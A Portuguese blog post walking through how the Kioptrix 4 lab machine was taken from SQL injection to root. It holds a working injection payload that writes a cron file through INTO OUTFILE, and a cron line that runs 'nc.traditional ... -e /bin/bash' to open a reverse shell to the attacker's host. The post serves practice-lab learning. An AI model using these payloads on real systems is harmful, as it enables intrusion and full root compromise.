Do SQLi ao Root em 2 Passos

Posted on Thu, Jul 30, 2020 sqli

Tudo começou quando eu vi um Bode e quando esse danado desse bode me levou para uma jaula onde eu quase perco o restante dos cabelos que eu tinha para sair dela. :D :D

Mas ai eu descobri uma coisa interessante nessa máquina, é que os arquivos que eu conseguia escrever nela através de SQLi ficavam com usuário e grupo root. Esta máquina é a Kioptrix 4.

Então pensei. O processo do MySQL deve rodar como root e se ele roda como root ele é todo poderoso. Se ele é todo poderoso ele pode escrever onde eu quiser e como quiser. Então , que tal, escrever em um arquivo de crontab um comando para fazer shell reverso pra mim ? Bora tentar assim :

Vamos tentar criar um arquivo em /etc/cron.d que programe o cron para tentar conectar na nossa máquina a cada 1 minuto:

*/1  * * * *  root  nc.traditional 192.168.200.3 443 -e /bin/bash

Então, nosso SQLi, ficaria assim:

myusername=john&mypassword=-9334'OR 1908=1908 limit 0,0 union all 
select "*/1 *   * * *" , "root" , "nc.traditional 192.168.200.3 443 -e /bin/bash" 
INTO OUTFILE '/etc/cron.d/crontab'--%20-

Tá, não foi assim de primeira , no alvo, prego batido de ponta virada né ? Primeiro apanhei para descobrir que essa danada dessa máquina só tem permissão para se conecta na porta 443 e 22. Depois apanhei tentando fazer com um telnet reverso mas o cron, pelo que entendi abre um subprocesso que morre logo em seguida não permitindo que o telnet fique no ar. Não cheguei a tentar com perl, php, python, etc., pois eu tava decidido a fazer com "comandos do sistema". Ai no finalzim, vi que o danado tinha o nc.tradicional, ou seja, o nosso net gatinho tradicional.

Ai agora é injetar via Burp abrir um NC no terminal e aguardar o Shell cair no seu colo:

Mandando bala

Recebendo o doce

E tá ai , rapidinho, nada de restricted shell, nada de escalar privilégios, etc, etc, etc. Direto ao Shell. ;D